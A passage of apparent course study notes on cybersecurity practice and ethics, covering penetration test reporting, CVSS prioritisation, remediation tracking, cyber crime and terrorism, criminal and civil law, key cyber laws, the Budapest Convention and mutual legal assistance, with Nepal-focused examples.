- Methodologies: PTES (pre-engagement, intelligence gathering, threat modelling, vulnerability analysis, exploitation, post-exploitation, reporting); OWASP Web Security Testing Guide; NIST SP 800-115; OSSTMM.
- Targets: external and internal networks, web applications, wireless, social engineering (phishing, pretext calls), physical (tailgating), cloud, mobile apps and APIs.
- Example (grey box): one customer account; reconnaissance finds an old admin subdomain; scanning finds an outdated plugin; a web shell uploaded; a database password in a configuration file reaches 50,000 customer records, proven with three masked rows; report critical: patch, restrict admin panel by address, least-privilege database account.
- Penetration test versus red team: a test finds as many exploitable weaknesses in scope as possible, defenders usually aware; a red team pursues one objective quietly over weeks to test detection and response.
The findings report: one document, two audiences
Findings report: the deliverable of an audit or test; tells executives what the risk means for the business and engineers exactly what to fix, with evidence no one can wave away. Deck: findings are worthless until they are communicated, prioritised, fixed and verified; the report is the first step, communication. A finding nobody understands never gets fixed.
| Section | Content | Reader |
|---|---|---|
| Executive summary | business risk, headline issues, overall posture, top actions; no jargon | leadership, board |
| Scope and methodology | what, how, when, tools, rules of engagement, out of scope, limitations | both |
| Findings and evidence | each issue with proof, affected assets, reproduction steps | engineers |
| Risk rating | severity and likelihood, for example CVSS | both |
| Recommendations | concrete, prioritised fixes, quick and lasting | engineers and managers |
| Conclusion and appendices | posture, raw data, tool output, references | both |
To remember the two audiences: a blood test report has a top line telling the patient whether all is well and a table of values for the doctor; the executive summary is that top line, the findings are the table.
One good finding
- ID and title: F-03, SQL injection in the student login form.
- Severity: critical, CVSS 9.8.
- Asset: login page of the student portal.
- Description: username field placed straight into a database query.
- Evidence: test input, database error returned, masked screenshot.
- Impact in business terms: anyone on the internet can read all 12,000 student records.
- Recommendation: parameterised queries, least-privilege database account, WAF rule as stopgap.
- References: CWE-89; OWASP Top 10 (2021) A03 Injection.
- Status and re-test date during remediation.
Good reports are timely (critical findings reported the day they are found; timely reporting avoids confusion and lets fixes happen in good time), accurate (validated; one false positive costs credibility), actionable, consistent, balanced (what worked too), and confidential (a map for attackers: encrypted, need to know). The audit report of phase 5 has the same shape: scope, executive summary, findings with action plans, concluding rating.
Scoring and prioritising findings: CVSS plus context
CVSS (Common Vulnerability Scoring System, maintained by FIRST): a 0 to 10 severity score from exploitability and impact; it scores the flaw, not the organisation; priority adds context.
| CVSS score | Severity | Action (deck) |
|---|---|---|
| 9.0 to 10.0 | Critical | fix immediately |
| 7.0 to 8.9 | High | fix within days |
| 4.0 to 6.9 | Medium | planned remediation |
| 0.1 to 3.9 | Low | as capacity allows |
- Exploitability (v3.1 base): attack vector (network, adjacent, local, physical), attack complexity (low, high), privileges required (none, low, high), user interaction (none, required).
- Scope: whether an attack reaches beyond the vulnerable component.
- Impact: confidentiality, integrity, availability, each high, low or none.
- Optional temporal (exploit code, fix available) and environmental (organisation's own requirements) groups. CVSS 4.0 (2023) reorganises metrics; 3.1 still most published.
- Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H= 9.8 critical: network, easy, no login, no user action, total loss. Log4Shell (CVE-2021-44228) scored 10.0.
Nobody can fix everything at once, so severity plus context decides what goes first: risk-based remediation. Context (deck): asset value and exposure (internet-facing, crown jewels); exploitability and threat intelligence (public exploit, active use: CISA's Known Exploited Vulnerabilities catalogue, FIRST's EPSS probability of exploitation in 30 days); compensating controls (segmentation, WAF, disabled feature); business impact.
A medium on an internet-facing crown-jewel system can outrank a high on an isolated test box.
| Finding | CVSS | Context | Priority |
|---|---|---|---|
| Broken access control, payment portal | 6.5 medium | internet-facing, crown jewel, exploited now | 1 |
| Missing patch, HR file server | 8.1 high | personal data, staff network only | 2 |
| Flawed library, lab virtual machine | 9.8 critical | isolated, no data, due for rebuild | 3 |
Priority becomes policy through deadlines by severity, for example 7 days critical, 30 high, 90 medium, next cycle low, with anything on the exploited list treated as critical; numbers are each organisation's choice.
Remediation, tracking and re-test: closing the loop
Remediation: fixing what an assessment found and proving the fix works; a finding closes only on a confirming re-test or formal risk acceptance by a named manager.
Action plan approaches (deck), rising likelihood of the fix: recommendation (may not be acted on), management response (management formally accepts, rejects or schedules; accountable record), solution (client and auditor agree; most effective).
| Treatment | Meaning | Example |
|---|---|---|
| Remediate | remove the cause | patch, fix code, correct setting |
| Mitigate | reduce likelihood or impact until fixed | firewall or WAF rule, segmentation, feature off |
| Accept | live with it formally | signed exception with reason, expiry, compensating controls |
| Transfer | move the cost | insurance, contract; accountability stays |
| Avoid | stop the activity | retire the old server |
Tracking (deck):
- Assign an owner and a due date set by severity; one ticket per finding linked to the report.
- Track to closure; overdue items reported monthly.
- Escalate as a last resort: owner, manager, CISO, steering or audit committee.
- Re-test and validate by assessor or fresh scan.
- Close with evidence.
- Why re-test: fixes fail quietly (patch on two of three servers, setting reverted by a deployment, WAF rule blocks one payload but not a variant). An unverified fix is not a fix; the notes' example of validation is testing a BCP.
- Acceptance allowed when the fix costs more than the loss it prevents, no fix exists, or the system is about to retire; written, signed by a risk owner with authority (never the engineer), time-limited, reviewed at expiry, with compensating controls.
- Metrics: mean time to remediate by severity, share fixed within deadline, overdue critical findings, repeat findings; a recurring finding points to a process gap and goes back into policy.
- Example: critical flaw on three web servers, web team lead owns it, due in seven days; two patched on day three; day-seven re-scan flags the third, missing from the patch list; escalated to the CISO, patched, re-scanned clean, closed; asset inventory corrected.
Chapter 8: The ethics of cyber security 13210 words
Ethical considerations: what is right, not only what is allowed
Ethical considerations in cybersecurity: the moral questions that arise whenever people protect, monitor, test or attack systems and data: whether an action respects privacy, is properly authorised, avoids harm and is honest, judged by the principles a society and a profession accept, even where no law decides the case.
Ethics: socially accepted principles of right and wrong conduct. Morals: such principles as one person holds them. Law: the part a government writes down and enforces.
Why security work needs ethics most:
- Power: administrators read mailboxes, analysts see personal data, testers know how to break in; misuse often goes unwatched.
- Dual use: the knowledge that defends also attacks (port scanners, exploits, phishing kits); purpose and permission make the difference.
- Law lags technology: deepfakes, AI surveillance, selling location data stay legal until someone decides otherwise.
The deck's terms: ethical considerations turn on honesty, integrity, fairness and responsibility. Some ethics are universal (murder, theft, assault break the ethical and legal codes of nearly every culture). Others rest on cultural mores: the relatively fixed moral attitudes and customs of a particular group, norms guided by its own standards of morality; breaking one brings social disapproval or sanctions, not a court case; where mores differ, so does what counts as ethical.
| Point | Law | Ethics |
|---|---|---|
| What it is | rules adopted and enforced by a government, codifying expected behaviour | socially acceptable behaviour conforming to widely held principles |
| Made by | legislatures, courts, regulators | society, culture, religion, professional bodies, conscience |
| Sanction | formal: fine, prison, compensation | informal: lost trust, job or certification |
| Reach | the minimum a society demands | beyond the minimum |
| Change | slow, by amendment | moves with society and technology |
| Example | ETA section 45 punishes unauthorised access | an administrator does not read a colleague's mail just because the system allows it |
Key difference: laws carry the sanctions of a governing authority; ethics do not. They can disagree: legal but unethical (selling users' data under consent buried in fine print; ignoring a known flaw); well meant but illegal (probing a website without permission to warn its owner).
Example: a classmate hands Ram his lab code and Ram submits it as his own: no law broken (the owner agreed) but plagiarism, unethical. Copying it from the classmate's laptop without asking would also be unauthorised access under ETA section 45: illegal and unethical.
Figure: the ethical decision frame: a proposed action passes three tests (legal? ethical? allowed by code and policy?), then act and record; failing any, stop, get authorisation, escalate or find a lawful, proportionate way; below, a two by two grid of legal or illegal against ethical or unethical.
| Consideration | What it asks | Example |
|---|---|---|
| Privacy | only the personal data the task needs | an analyst hunting an intruder in mail logs does not read the messages |
| Authorisation and consent | act only within written permission | a tester stays inside the contracted IP ranges |
| Confidentiality | keep work knowledge secret | a client's weaknesses never discussed outside |
| Honesty and integrity | report truthfully, never hide incidents | a breach reported to management, customers, regulator |
| Avoiding harm, proportionality | least intrusive means that works | data loss prevention alerts on patterns, nobody reads every email |
| Fairness | no discrimination by tools or people | an insider threat model must not flag staff by caste, gender or religion |
| Accountability and transparency | decisions recorded and explainable | every emergency server login logged and reviewed |
| Responsible disclosure | flaws reach the vendor before attackers | 8.5 |
| Social responsibility | protect people beyond the organisation, speak up | 8.7, whistleblowing |
Where they are written down: professional codes of conduct formalise them, those of (ISC)², ISACA and SANS among them; the (ISC)² code requires members to act honorably, honestly, justly, responsibly and legally. The class notes: laws give a formal set of rules with penalties; ethics give the moral framework that keeps a professional, and the organisation, clear of liability and risk.
Dilemmas
- Monitoring staff: visibility against privacy; balanced by written policy, notice, monitoring limited to work systems.
- Hacking back: unauthorised access in most countries; may hit an innocent hijacked computer.
- Paying a ransom: restores systems quickly, funds the next attack.
- Stockpiling zero-days: a government's secret flaw leaves every user exposed.
- Encryption back doors: lawful access against weaker security for everyone.
Ethical lenses
- Consequences (utilitarianism): greatest good for the most people (take the payment server down tonight for an emergency patch).
- Duties (deontology): some acts are wrong whatever the result (never falsify an incident report).
- Rights: privacy and fair treatment.
- Fairness (justice): share benefits and burdens fairly.
- Virtue: what would an honest, competent professional do.
Ethics across cultures: the same act, judged differently
Ethical differences across cultures: people of different nationalities, and different groups inside one country, can hold different views of what is ethical in computer use, because their cultural mores, history and laws differ; a practice normal in one country can be unethical, or illegal, in another. Data, staff and contracts cross borders daily (a US cloud holds Europeans' data, a Kathmandu software house builds for a German client), so one nationality's ethical behaviour conflicts with another's.
| Issue | One side | The other side | The conflict |
|---|---|---|---|
| Data privacy | EU: personal data privacy a fundamental human right; GDPR strictly controls collection, storage, sharing | US: sector-specific laws (HIPAA health, COPPA children); tech firms collect and monetise data more freely | a US company's usual practice can be unethical or illegal in the EU |
| Employee monitoring | US: monitoring work computers and email widely accepted and legal | Germany: viewed with suspicion (privacy culture, memory of Stasi surveillance in East Germany); needs full transparency and consent | US head office monitoring software feels invasive to German staff |
| Software piracy norms | Sweden, Germany: unlicensed software unethical, socially unacceptable | some developing countries (Indonesia, Nigeria in the deck): software dear, incomes low; piracy sometimes tolerated or a necessity | a Swedish IT manager sees a serious breach, local staff see none |
| Whistleblowing | UK, US: often legally protected, ethically encouraged | Japan: loyalty and group harmony (wa) valued; reporting can look like betrayal | a British employee reports what a Japanese colleague handles internally or ignores |
| Gifts | many Western businesses: cautious, limited or banned (bribery, conflict of interest) | certain Asian cultures, such as China and Japan: gift giving deeply ingrained in social and business life; goodwill, respect, relationship building; refusing can offend; the value carries meaning | courtesy to one side, conflict of interest to the other |
Real cases: May 2023, Ireland's Data Protection Commission fined Meta EUR 1.2 billion under the GDPR for transferring European Facebook users' data to the US. October 2020, the Hamburg data protection authority fined H&M EUR 35.3 million for detailed notes on Nuremberg service centre staff's private lives (holidays, illnesses, family troubles); German works councils have a say before any device able to monitor staff is introduced. 2011, Olympus's British chief executive Michael Woodford questioned huge unexplained payments, was dismissed within weeks, and going public exposed a cover-up of investment losses dating back to the 1990s.
Not only nationality: differences exist among individuals in the same country, social class and company. The overriding factor that levels ethical perceptions in a small population is education: train employees in the behaviour expected of an ethical employee, especially in information security.
Example: a Kathmandu software house screenshots developers' screens every five minutes to bill hours; its German client calls it surveillance; the contract is renewed only with a written policy, notice and consent.
Cyber crime and cyber terrorism: same tools, different motives
Cyber crime: any crime in which a computer or network is the target, the tool, or incidental (holding evidence); usually for personal gain.
Cyber terrorism (often one word, cyberterrorism): attacks or threats of attack on computers, networks and data by actors driven by ideological or political goals, meant to intimidate or coerce a government or population by violence or harm serious enough to create fear (after Dorothy Denning, 2000).
- Target: hacking, malware, denial of service, destroying data (Nepal ETA sections 44 to 46).
- Tool: online fraud, phishing, sextortion, harassment, illegal material (ETA sections 47, 52).
- Incidental: the computer only holds evidence (a smuggler's phone).
| Against | Typical cyber crimes |
|---|---|
| Individuals | identity theft, phishing and online fraud, cyberstalking and harassment, sextortion, online child abuse |
| Organisations and property | hacking and data theft, ransomware and extortion, business email compromise, software piracy and IP theft |
| Government and society | attacks on public services, espionage, hateful or illegal material, terrorism |
Motives: mostly money; revenge (often insiders); ideology; espionage; thrill or fame. Whether a criminal goes ahead at all is a cost-benefit sum (deterrence, 8.6).
What makes it terrorism: a political, religious or ideological motive; an aim to spread fear or coerce a government; an effect of violence or serious harm, typically via critical infrastructure (power, water, dams, hospitals, air traffic). Disrupting non-essential services or a costly nuisance is not terrorism (Denning). Terrorists use the internet mostly for propaganda, recruitment, financing and planning. January 2015: pro-ISIS CyberCaliphate hijacked US Central Command's Twitter and YouTube accounts: frightening propaganda, no physical harm.
| Basis | Cyber crime | Cyber terrorism |
|---|---|---|
| Motive | personal gain: money, data, revenge | ideology, politics, religion |
| Actor | individuals, criminal gangs, insiders | terrorist groups and supporters |
| Target | individuals, banks, businesses | governments, the military, public services, critical infrastructure, civilians |
| Aim | profit, ideally unnoticed; never to create fear | fear, publicity and propaganda, coercion of a government, inciting violence |
| Harm | financial loss, stolen data | disruption threatening life or public order |
| Example | NIC Asia Bank SWIFT fraud, Nepal, 2017 | feared attacks on a grid or dam; CyberCaliphate hijack, 2015 |
Hacktivism: hacking for a political or social cause (DDoS, defacement, leaks) to protest or embarrass, not to profit or kill (Anonymous). Cyber warfare: state against state: Stuxnet (found 2010) damaged Iran's uranium enrichment centrifuges; December 2015 attack cut power to about 225,000 customers in Ukraine (chapter 1 covers cyber warfare).
Figure: four columns, cyber crime, hacktivism, cyber terrorism, cyber warfare, compared on who, why, target, acts and example, under an arrow from private gain to political aims with harm and scale growing.
Grey zones: the label follows the motive, not the damage. Colonial Pipeline (May 2021): criminal ransomware for money, yet fuel shortages along the US east coast. WannaCry (2017): ransomware attributed by the US and UK to North Korea: crime and state action at once.
Nepal: October 2017, attackers used NIC Asia Bank's SWIFT connection for fraudulent transfers of about USD 4.4 million abroad during festival holidays; most recovered with Nepal Rastra Bank's help. 28 January 2023, DDoS on the Government Integrated Data Centre took the national portal and hundreds of government websites offline for hours and stopped immigration clearance at Tribhuvan International Airport; attackers unidentified, motive unknown.
International law: crime across borders needs treaties; the Council of Europe Convention on Cybercrime (Budapest, 2001), the first, makes its parties define the same offences and speeds up cross-border evidence sharing (8.3). Nepal is not a party. UN Convention against Cybercrime adopted by the UN General Assembly, December 2024.
Types of law, and civil against criminal law
Types of law: sorted by whom the law governs and what it settles.
| Type | What it does | Example |
|---|---|---|
| Constitutional | structure of the state, powers and limits of government, fundamental rights | Constitution of Nepal 2072 (2015), right to privacy (Article 28) |
| Civil | matters that are not crimes but need an impartial arbiter between individuals and organisations: contract, family, tort, property law | a customer sues an online shop whose leak emptied her wallet |
| Criminal | violations harmful to society, punishable by the state | theft, murder, fraud, cyber crime; the deck's: the state prosecutes a robber and seeks penalties such as imprisonment as the consequence; a hacker prosecuted under the ETA |
| Administrative | regulates government agencies, how public authorities decide: licensing, regulatory enforcement, acts of ministries and regulators; the class notes: standards of performance and conduct for major industries and government agencies | Nepal Rastra Bank's directives to banks; a licence granted or withdrawn |
| Statutory | written and enacted by the legislature, across domains | data protection, cyber, labour laws: ETA 2063, Privacy Act 2075 |
| International | relations between states | human rights law, international humanitarian law, cyber norms; the Budapest Convention |
Civil law up close: the deck: a wide variety of laws that govern a nation or state, designed to keep society orderly by settling matters that are not crimes but need an impartial arbiter, without punishing. Branches: contract, family (marriage, divorce, annulment, custody, adoption, birth, child support), tort (civil wrongs such as negligence), property. Property is real (land and what is permanently attached: buildings, structures, natural resources) or personal: tangible (jewellery, animals, merchandise) or intangible (patents, copyrights, stocks, bonds), so intellectual property is personal property. Nepal: National Civil Code (Muluki Dewani Samhita) 2074 (2017), the deck's reference.
Civil against criminal law
| Point | Civil law | Criminal law |
|---|---|---|
| Deals with | disputes between individuals, organisations, or the two | crime and its legal punishment |
| Harm is against | the person or firm that lost | society as a whole |
| Who brings it | the plaintiff | the state (Government of Nepal is plaintiff, ETA section 75) |
| Burden of proof | on the plaintiff | always on the state |
| Standard of proof | preponderance of evidence: greater than 50% chance the claim is true | beyond reasonable doubt: any reasonable doubt means no conviction |
| Outcome | compensation for injuries or damages; disposition of property | imprisonment and/or fines |
| Examples | landlord and tenant, divorce, custody, property, personal injury | theft, assault, robbery, trafficking in controlled substances, murder |
Figure: one incident, a hacker leaking an online shop's customer data, splits into two lanes: a criminal case (the state prosecutes; guilty act and guilty mind beyond reasonable doubt; prison or fine, such as ETA section 45's 3 years or Rs 2 lakh) and a civil case (the victims sue; preponderance of evidence, burden on the plaintiff; compensation); concurrent proceedings under different standards.
Cyber cases (the deck's)
- Criminal: hacking, unauthorised access, identity theft, malware and ransomware, cyberbullying and harassment, online fraud prosecuted under criminal statutes: US Computer Fraud and Abuse Act, ETA chapter 9 in Nepal.
- Civil: a company suffering financial losses due to a cyberattack can file a lawsuit against the perpetrator for compensation; customers and regulators claim against a company that failed them. Data breach settled for USD 700 million (Equifax: 2017 breach of about 147 million people, settled with US regulators and states for up to that sum in 2019); USD 5 billion for privacy violations (US Federal Trade Commission penalty on Facebook, 2019).
- IP theft: Oracle accused Google of using its Java code without permission in Android; after a decade-long battle the US Supreme Court ruled for Google, citing fair use.
- Concurrent proceedings: one incident can bring both; a bank breach can add a third: criminal case against the hacker, civil claims by customers, administrative action by the central bank.
Example: a student breaks into the college exam portal and changes results: the Government of Nepal prosecutes (criminal, beyond reasonable doubt, jail or fine); the college sues him for rebuilding the portal (civil, more likely than not, compensation).
Two senses of civil law: a type of law (private disputes against crimes) and a legal system (codified law against common law). The class notes keep three types (criminal, civil, administrative); the deck's six include them. The deck dates Oracle v. Google 2020, the year it was argued; the Supreme Court decided it on 5 April 2021.
What makes an act a crime: actus reus and mens rea
Crime: an act that breaks a law on how to behave in society, punishable by law; the harm is seen as against society as a whole, so the state prosecutes. Conviction needs a guilty act paired with a guilty mind.
Act or omission: something done (breaking into a server) or not done that the law requires (driving without a licence; failing to keep required records). Natural justice: intent and act must concur to make a crime.
| Element | Meaning | The deck's rules |
|---|---|---|
| Actus reus, guilty act | a voluntary action or omission causing the damage or harm | no liability for acts in automatism (involuntary, such as a seizure), but automatism from self-induced intoxication is no excuse; bad thoughts alone are not punished; words can be acts: threats, perjury, conspiracy, solicitation |
| Mens rea, guilty mind | the mental intention, state of mind at the time | the act must be voluntary, premeditated or purposeful; the act is not guilty until the mind is guilty; the prosecution proves the accused did it and with intent to commit the crime |
To remember: actus sounds like act, mens like mental; actus non facit reum nisi mens sit rea, the act does not make a person guilty unless the mind is guilty too.
Proof: the prosecutor proves both beyond reasonable doubt. Strict liability offences need no mens rea, the act alone suffices: selling alcohol to a minor, over-speeding, driving without a licence, drink driving, sexual misconduct with a minor.
Mens rea in the ETA: source code pirated, destroyed or altered "knowingly or with mala fide intention" (section 44); unauthorised access needs the intention of reaching a program, information or data (45); damage needs the intention of causing wrongful loss (46). Example: one hostel student joins a neighbour's Wi-Fi by mistake (act without guilty mind); another cracks its password to download films (act and intent).
The ex-Google engineer, 2024 to 2026 (the deck's case)
Shown on the deck as a news report. 6 March 2024: US agents arrested Linwei Ding (also known as Leon Ding), a 38-year-old Chinese national living in California and a Google software engineer; the US Department of Justice announced his indictment for stealing trade secrets: between May 2022 and April 2023 he uploaded more than 500 confidential files on Google's AI supercomputing data centres (custom chips, networking, software) from Google's network to his personal cloud account, while secretly working with two Chinese companies looking to gain an edge in the AI race (negotiating to be chief technology officer of one, founding the other). US Attorney Ismail Ramsey: Ding was secretly working to enrich himself and the two companies, and the stolen secrets gave them an unfair competitive advantage. A 2025 indictment added economic espionage, which needs intent or knowledge that the theft will benefit a foreign government.
- Actus reus: copying the files to his own account, later to his own computer. Proved.
- Mens rea, theft of trade secrets: knew the files were confidential, took them for his and his companies' gain. Proved: jury conviction on seven counts, January 2026.
- Mens rea, economic espionage: meant the theft to benefit the Chinese government. The jury convicted on seven counts too, but in August 2026 the judge set them aside: no proof beyond reasonable doubt that he knew or intended his acts to benefit the Chinese government.
Lesson: one act, two crimes, the difference in the mind. September 2026: sentenced to a year less a day for the trade secret thefts. Both crimes come from the Economic Espionage Act 1996.
Legal frameworks: legal systems and the laws that matter
Legal framework: the laws, regulations and court decisions that say which acts are crimes, what duties organisations owe over data and systems, and how disputes are settled.
The core responsibility, why a practitioner needs it (the deck's opening): a future IS professional must understand the scope of an organisation's legal and ethical responsibilities; to minimise liabilities and reduce risk: understand the current legal environment, stay current with laws and regulations, watch for new issues.
Legal systems
- Civil law: most common; codified statutes applied by judges (continental Europe).
- Common law: precedents carry great weight alongside statutes (US, UK, most former British colonies).
- Religious law: religious doctrine as the source of law.
- Nepal mixes the first two: codified Muluki codes of 2074, and under Article 128(4) of the Constitution everyone, lower courts included, must abide by the Supreme Court's interpretations and legal principles.
The types of law and civil against criminal cases: the types of law card.
Key laws and regulations
| Where | Law | What it does |
|---|---|---|
| International | Convention on Cybercrime (Budapest, 2001) | common offences, cross-border cooperation |
| UK | Copyright, Designs and Patents Act 1988 | copyright, design, patent rights; a computer program is a literary work |
| UK | Computer Misuse Act 1990 | unauthorised access (section 1), access with intent to commit further offences (2), unauthorised acts impairing a computer (3), making or supplying hacking tools (3A) |
| UK | Human Rights Act 1998 | European Convention on Human Rights in UK law, including respect for private life and correspondence (Article 8) |
| UK | Regulation of Investigatory Powers Act 2000 | when public bodies may intercept communications, carry out surveillance, demand encryption keys |
| UK | Data Protection Act 2018 | UK data protection law beside the UK GDPR, enforced by the Information Commissioner's Office |
| US | Computer Fraud and Abuse Act (CFAA) 1986 | main federal anti-hacking law: access without or beyond authorisation (classified information included), using a federal computer for fraud, causing malicious damage |
| US | Electronic Communications Privacy Act (ECPA) 1986 | intercepting or accessing others' electronic communications, invading a person's electronic privacy, a crime |
| US | Digital Millennium Copyright Act (DMCA) 1998 | producing technology meant to circumvent digital rights management (DRM), and circumventing access controls, a crime even when no copyright is infringed |
| US | USA PATRIOT Act 2001 | wider law enforcement powers: one blanket authorisation to monitor all communications to or from a person |
| US | Federal Information Security Management Act (FISMA) 2002, modernised 2014 | federal agencies and contractors follow the security standards NIST develops |
| US | Sarbanes-Oxley Act (SOX) 2002 | financial reporting standards for publicly traded companies, internal controls, criminal penalties |
| US | Gramm-Leach-Bliley Act (GLBA) 1999 | financial institutions protect the confidentiality and integrity of consumers' financial information |
| US | Health Insurance Portability and Accountability Act (HIPAA) 1996; HITECH Act 2009 | strict security for hospitals, physicians and insurers to protect health information; HITECH updated HIPAA's privacy and security requirements |
| EU | General Data Protection Regulation (GDPR), Regulation 2016/679 | the fundamental EU data protection law: personal data (8.4) |
| EU | NIS Directive 2016/1148, replaced by NIS2 Directive 2022/2555 | critical infrastructure and digital services; under NIS2 early warning within 24 hours, notification within 72 |
| EU | Digital Operational Resilience Act (DORA), Regulation 2022/2554 | cybersecurity and operational resilience of banks, insurers, fintechs and their ICT providers, applied from 17 January 2025 |
| EU | Cyber Resilience Act (CRA), Regulation 2024/2847 | security requirements for hardware and software products: secure by design, vulnerabilities handled for the product's life, actively exploited flaws reported |
| Nepal | ETA 2063 (2008) and others | 8.8 |
The UK law a hack created: in 1984 and 1985 Robert Schifreen and Stephen Gold used an engineer's test login to get into British Telecom's Prestel service, even the Duke of Edinburgh's mailbox; convicted under forgery law, cleared on appeal, upheld by the House of Lords in 1988 (typing a password was not forgery, and hacking was no crime yet); Parliament passed the Computer Misuse Act 1990.
HITRUST (paired with HIPAA on the deck, written HI-TRUST): a certifiable security framework, not a law, used by US health organisations to show HIPAA compliance.
Standards are not laws: the Payment Card Industry Data Security Standard (PCI DSS) sets minimum security requirements for every merchant handling credit or debit card data, binding through contracts with the card brands, not by statute; ISO/IEC 27001 and the NIST Cybersecurity Framework are voluntary until a law, regulator or contract adopts them; compliance audits check against whichever applies.
Export controls: strong encryption is dual use. Exporting even low-grade encryption from the US was once virtually impossible; now the Commerce Department's Bureau of Industry and Security reviews retail and mass-market security software for export approval. The Wassenaar Arrangement (1996) coordinates such controls.
Jurisdiction: ETA section 55 lets Nepal prosecute an offender abroad when a computer in Nepal is involved; foreign evidence needs mutual legal assistance (Mutual Legal Assistance Act 2070 (2014)) or a treaty.
Notes differ: the class notes date the Computer Fraud and Abuse Act (CFAA) to 1984; it was enacted in 1986, amending a 1984 law. They list NIS2 and DORA as privacy laws; both are cybersecurity and resilience laws. They call NIS2 post-Ukraine-conflict: proposed December 2020, before the 2022 invasion, adopted December 2022, the war adding urgency. They expand PHI as personal health information; the HIPAA rules say protected health information.
International law: the Budapest Convention and mutual legal assistance
Convention on Cybercrime (the deck: European Convention on Cybercrime): the Council of Europe's treaty on crime committed through computers, opened for signature in Budapest on 23 November 2001, in force since 1 July 2004; it harmonises what parties treat as cyber crime, gives their police the same investigative powers, and sets up fast cooperation.
Why so few international laws: domestic laws and customs stop at the border; international trade runs on treaties and trade agreements; political complexities between nations and cultural differences leave few international laws on privacy and information security. Yet attacker, server and victim are usually in three countries. International law governs relations between states (human rights law, international humanitarian law, cyber norms).
The legal bodies (the deck's heading: international laws and legal bodies): the Convention is a treaty of the Council of Europe, the human rights organisation of 46 European states in Strasbourg, not part of the European Union; the deck's "European Council Cyber-Crime Convention" is a slip (the European Council is the EU's summit of heads of state or government). The parties meet as the Cybercrime Convention Committee (T-CY), which assesses how each applies the treaty and drafted its Second Additional Protocol (2022) on electronic evidence; the UN has since adopted its own treaty.
Figure (the lecture's): three boxes joined by plus signs: criminalising conduct, procedural tools, international cooperation, with a harmonisation arrow: two countries can only help each other with a crime both define. The slide's "IPR offences" are the copyright (intellectual property rights) offences.
| Part | What each party must do |
|---|---|
| 1. Criminalise conduct (substantive law) | illegal access, illegal interception, data interference, system interference, misuse of devices, computer-related forgery, computer-related fraud, offences related to child pornography, offences related to copyright and neighbouring rights |
| 2. Procedural tools | expedited preservation of stored data, search and seizure of computer data, real-time collection and interception of computer data |
| 3. International cooperation | extradition, mutual legal assistance (including for stored data and interception), spontaneous information, expedited preservation on request, 24/7 network of points of contact |
Mnemonic for the nine offences (Articles 2 to 10): Aama Ilamma Dahi Sakera Momo Fukaauchhin, Fohor Chamcha Chaatchhin (access, interception, data, system, misuse, forgery, fraud, child pornography, copyright).
The deck's aims (Whitman and Mattord): an international task force overseeing Internet security functions for standardised international technology laws; more effective international investigations; simpler acquisition of information by law enforcement for certain international crimes, and simpler extradition. Reception: welcomed by IP rights advocates (copyright prosecution); lacks realistic enforcement provisions (no court or police above the parties).
Parties: the deck's figures (21 ratifications, 22 signatories including the UK) date from its early years; a signatory has signed and intends to comply, but only ratification binds. US ratified 2006, UK 2011; 81 states parties by August 2025, many outside Europe (Japan, Australia, Sri Lanka); the Council of Europe's 2026 list shows 83, with 14 more signed or invited to accede. Nepal is not a party.
Reach beyond the parties (the deck's world map): dark dots for parties, thickest in Europe but on every inhabited continent; other colours for signatories, states invited to accede, and states drawing on it for their laws; 130+, the Council of Europe's count of countries that aligned their cyber crime laws with the Convention (more than 130 by December 2023). Any country may use it as a guideline, checklist or model law without joining.
The deck's verdict (the line under the three-part diagram on its slide): the only binding international instrument and guiding legislative tool in the fight against cyber crime. In fact it is the only cyber crime treaty in force that any country can join, and the most widely joined; regional treaties also bind their members (the Arab League's convention of 2010, the African Union's Malabo Convention, in force since June 2023), and the UN Convention against Cybercrime becomes a second global treaty once 40 states ratify (three had by mid-2026).
Figure: the three parts drawn as columns with the harmonisation arrow, the dates and the 81 parties.
Mutual legal assistance
MLA: the formal way one state asks another to gather evidence or act in a criminal case for it: server logs, subscriber records, searches, statements, frozen assets, served documents; requests pass between central authorities (ministries of justice or home affairs) under a treaty, a convention such as Budapest, or reciprocity. Weakness: speed (months against logs overwritten in days); the Convention's answers: expedited preservation and the 24/7 network.
- Preserve: ask the other country's 24/7 contact point to preserve the data now.
- Request: the central authority sends a formal request: case, offence, evidence wanted, legal basis.
- Check: the requested state tests it against its own law (dual criminality).
- Execute: its police or courts collect the evidence with their own powers.
- Return: the evidence comes back through the central authorities in a form the court accepts.
The deck's example: AlphaBay and Hansa, 20 July 2017 (Europol's announcement shown): two of the largest criminal dark web markets, trading over 350,000 illicit commodities (drugs, firearms, cybercrime malware), shut down by two operations led by the FBI, the US Drug Enforcement Administration and the Dutch National Police with Europol's support.
- Countries involved: the US, Netherlands, Germany, Lithuania, Thailand, France, UK and others shared electronic evidence (server logs, user data, bitcoin addresses) through MLA channels, which the deck credits to the Budapest Convention.
- The trap: Dutch police had secretly run Hansa for a month, so AlphaBay's users fled into a police-run market.
- Result: both shut, millions in cryptocurrency seized, thousands of darknet users identified and investigated, a strong signal about international cooperation. Europol, after months of preparation and coordination, ranked it among the most sophisticated takedowns ever seen against crime online and expected hundreds of new investigations in Europe.
- On the deck's credit: most of those countries are parties, but Thailand, where AlphaBay's founder was arrested on 5 July 2017, is not; cooperation with it ran on bilateral terms.
Nepal: relies on the Mutual Legal Assistance Act 2070 (2014), bilateral arrangements and reciprocity; ETA section 55 covers offenders abroad but trying them needs the person and evidence here. UN Convention against Cybercrime: adopted December 2024, opened for signature in Hanoi on 25 October 2025.
Example: a wallet scam run from Malaysia through a Dutch server against victims in Pokhara: the logs sit in Amsterdam, and without a treaty Nepal's police can only ask.
Policy against law: when an organisation's rules can be enforced
Policy: rules an organisation makes for its own people (organisational law). Law: made and enforced by the state for everyone. The decisive difference: ignorance of the law is no excuse, but ignorance of a policy is an acceptable defence.
Ignorance of the law: the state publishes the law, so everyone is presumed to know it. Nepal's National Civil Code 2074, chapter 2, general principles of civil law (section 4: they apply to civil matters generally), section 5: ignorance of the law shall not be excused; everyone shall be presumed to know the law (both clauses shown on the deck's Policy against Law slide). No one presumes an employee knows a rule never given to her.
| Point | Policy | Law |
|---|---|---|
| Made by | organisation's management | legislature, courts, regulators |
| Binds | employees, contractors, users | everyone in the jurisdiction |
| Ignorance | acceptable defence | no excuse (Civil Code 2074, section 5) |
| Sanction | warning, loss of access, dismissal, civil claim | fine, prison |
| Example | a bank's acceptable use policy bans personal USB drives | ETA section 45 bans unauthorised access |
To be enforceable like a law, a policy must be:
- Distributed to all who must comply (dissemination).
- Readily available for reference (review).
